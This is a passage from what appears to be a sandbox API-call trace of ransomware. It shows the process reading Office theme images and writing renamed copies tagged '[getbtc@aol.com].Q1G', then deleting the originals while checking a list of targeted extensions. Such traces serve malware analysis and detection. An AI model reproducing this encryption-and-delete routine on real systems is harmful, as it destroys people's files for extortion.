lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.910] SetEndOfFile (hFile=0x194) returned 1 [0045.910] CloseHandle (hObject=0x194) returned 1 [0045.911] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.911] SetEndOfFile (hFile=0x200) returned 1 [0045.912] CloseHandle (hObject=0x200) returned 1 [0045.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0045.912] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0045.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.912] lstrlenW (lpString=".doc") returned 4 [0045.912] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.913] lstrlenW (lpString=".docx") returned 5 [0045.913] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.913] lstrlenW (lpString=".pdf") returned 4 [0045.913] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.913] lstrlenW (lpString=".xls") returned 4 [0045.913] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.913] lstrlenW (lpString=".xlsx") returned 5 [0045.913] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.913] lstrlenW (lpString=".ppt") returned 4 [0045.913] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.913] lstrlenW (lpString=".zip") returned 4 [0045.913] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.913] lstrlenW (lpString=".rar") returned 4 [0045.913] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.913] lstrlenW (lpString=".bz2") returned 4 [0045.913] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.913] lstrlenW (lpString=".7z") returned 3 [0045.913] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.913] lstrlenW (lpString=".dbf") returned 4 [0045.913] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.913] lstrlenW (lpString=".1cd") returned 4 [0045.913] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.913] lstrlenW (lpString=".jpg") returned 4 [0045.913] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.913] lstrlenW (lpString=".doc") returned 4 [0045.913] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.913] lstrlenW (lpString=".docx") returned 5 [0045.913] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.913] lstrlenW (lpString=".pdf") returned 4 [0045.914] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.914] lstrlenW (lpString=".xls") returned 4 [0045.914] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.914] lstrlenW (lpString=".xlsx") returned 5 [0045.914] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.914] lstrlenW (lpString=".ppt") returned 4 [0045.914] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.914] lstrlenW (lpString=".zip") returned 4 [0045.914] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.914] lstrlenW (lpString=".rar") returned 4 [0045.914] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.914] lstrlenW (lpString=".bz2") returned 4 [0045.914] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.914] lstrlenW (lpString=".7z") returned 3 [0045.914] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.914] lstrlenW (lpString=".dbf") returned 4 [0045.914] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.914] lstrlenW (lpString=".1cd") returned 4 [0045.914] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0045.914] lstrlenW (lpString=".jpg") returned 4 [0045.914] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.914] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0045.914] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0045.915] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1347) returned 1 [0045.915] CloseHandle (hObject=0x200) returned 1 [0045.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 0x20 [0045.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0045.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0045.916] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.916] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.918] GetLastError () returned 0x0 [0045.918] ReadFile (in: hFile=0x200, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x543, lpOverlapped=0x0) returned 1 [0045.919] WriteFile (in: hFile=0x194, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x550, lpOverlapped=0x0) returned 1 [0045.920] ReadFile (in: hFile=0x200, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.920] WriteFile (in: hFile=0x194, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0045.920] SetEndOfFile (hFile=0x194) returned 1 [0045.920] CloseHandle (hObject=0x194) returned 1 [0045.921] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.921] SetEndOfFile (hFile=0x200) returned 1 [0045.921] CloseHandle (hObject=0x200) returned 1 [0045.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0045.922] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0045.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.922] lstrlenW (lpString=".doc") returned 4 [0045.922] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.922] lstrlenW (lpString=".docx") returned 5 [0045.922] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.922] lstrlenW (lpString=".pdf") returned 4 [0045.922] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.922] lstrlenW (lpString=".xls") returned 4 [0045.922] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.922] lstrlenW (lpString=".xlsx") returned 5 [0045.922] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.922] lstrlenW (lpString=".ppt") returned 4 [0045.922] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.922] lstrlenW (lpString=".zip") returned 4 [0045.922] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.922] lstrlenW (lpString=".rar") returned 4 [0045.922] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.923] lstrlenW (lpString=".bz2") returned 4 [0045.923] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.923] lstrlenW (lpString=".7z") returned 3 [0045.923] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.923] lstrlenW (lpString=".dbf") returned 4 [0045.923] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.923] lstrlenW (lpString=".1cd") returned 4 [0045.923] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.923] lstrlenW (lpString=".jpg") returned 4 [0045.923] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.923] lstrlenW (lpString=".doc") returned 4 [0045.923] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0045.923] lstrlenW (lpString=".docx") returned 5 [0045.923] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0045.923] lstrlenW (lpString=".pdf") returned 4 [0045.923] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0045.923] lstrlenW (lpString=".xls") returned 4 [0045.923] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.923] lstrlenW (lpString=".xlsx") returned 5 [0045.923] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.923] lstrlenW (lpString=".ppt") returned 4 [0045.923] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.923] lstrlenW (lpString=".zip") returned 4 [0045.923] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.923] lstrlenW (lpString=".rar") returned 4 [0045.923] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.923] lstrlenW (lpString=".bz2") returned 4 [0045.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.924] lstrlenW (lpString=".7z") returned 3 [0045.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.924] lstrlenW (lpString=".dbf") returned 4 [0045.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.924] lstrlenW (lpString=".1cd") returned 4 [0045.924] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0045.924] lstrlenW (lpString=".jpg") returned 4 [0045.924] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.924] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0045.924] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0045.924] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=32403) returned 1 [0045.924] CloseHandle (hObject=0x200) returned 1 [0045.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0045.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0045.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0045.925] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.925] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.925] GetLastError () returned 0x0 [0045.925] ReadFile (in: hFile=0x200, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x7e93, lpOverlapped=0x0) returned 1 [0045.927] WriteFile (in: hFile=0x194, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0045.928] ReadFile (in: hFile=0x200, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.928] WriteFile (in: hFile=0x194, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.929] SetEndOfFile (hFile=0x194) returned 1 [0045.929] CloseHandle (hObject=0x194) returned 1 [0045.929] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.929] SetEndOfFile (hFile=0x200) returned 1 [0045.930] CloseHandle (hObject=0x200) returned 1 [0045.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0045.931] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0045.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.931] lstrlenW (lpString=".doc") returned 4 [0045.931] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.931] lstrlenW (lpString=".docx") returned 5 [0045.931] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.931] lstrlenW (lpString=".pdf") returned 4 [0045.931] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.931] lstrlenW (lpString=".xls") returned 4 [0045.931] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.931] lstrlenW (lpString=".xlsx") returned 5 [0045.931] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.931] lstrlenW (lpString=".ppt") returned 4 [0045.931] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.931] lstrlenW (lpString=".zip") returned 4 [0045.931] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.931] lstrlenW (lpString=".rar") returned 4 [0045.931] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.931] lstrlenW (lpString=".bz2") returned 4 [0045.931] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.931] lstrlenW (lpString=".7z") returned 3 [0045.931] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.931] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.931] lstrlenW (lpString=".dbf") returned 4 [0045.932] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.932] lstrlenW (lpString=".1cd") returned 4 [0045.932] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.932] lstrlenW (lpString=".jpg") returned 4 [0045.932] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.932] lstrlenW (lpString=".doc") returned 4 [0045.932] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.932] lstrlenW (lpString=".docx") returned 5 [0045.932] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.932] lstrlenW (lpString=".pdf") returned 4 [0045.932] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.932] lstrlenW (lpString=".xls") returned 4 [0045.932] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.932] lstrlenW (lpString=".xlsx") returned 5 [0045.932] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.932] lstrlenW (lpString=".ppt") returned 4 [0045.932] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.932] lstrlenW (lpString=".zip") returned 4 [0045.932] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.932] lstrlenW (lpString=".rar") returned 4 [0045.932] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.932] lstrlenW (lpString=".bz2") returned 4 [0045.932] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.932] lstrlenW (lpString=".7z") returned 3 [0045.932] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.932] lstrlenW (lpString=".dbf") returned 4 [0045.932] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.932] lstrlenW (lpString=".1cd") returned 4 [0045.932] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0045.933] lstrlenW (lpString=".jpg") returned 4 [0045.933] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.933] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0045.933] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0045.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0045.933] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1347) returned 1 [0045.933] CloseHandle (hObject=0x200) returned 1 [0045.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif")) returned 0x20 [0045.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0045.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0045.933] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.933] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.935] GetLastError () returned 0x0 [0045.935] ReadFile (in: hFile=0x200, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x543, lpOverlapped=0x0) returned 1 [0045.937] WriteFile (in: hFile=0x194, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x550, lpOverlapped=0x0) returned 1 [0045.938] ReadFile (in: hFile=0x200, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.938] WriteFile (in: hFile=0x194, 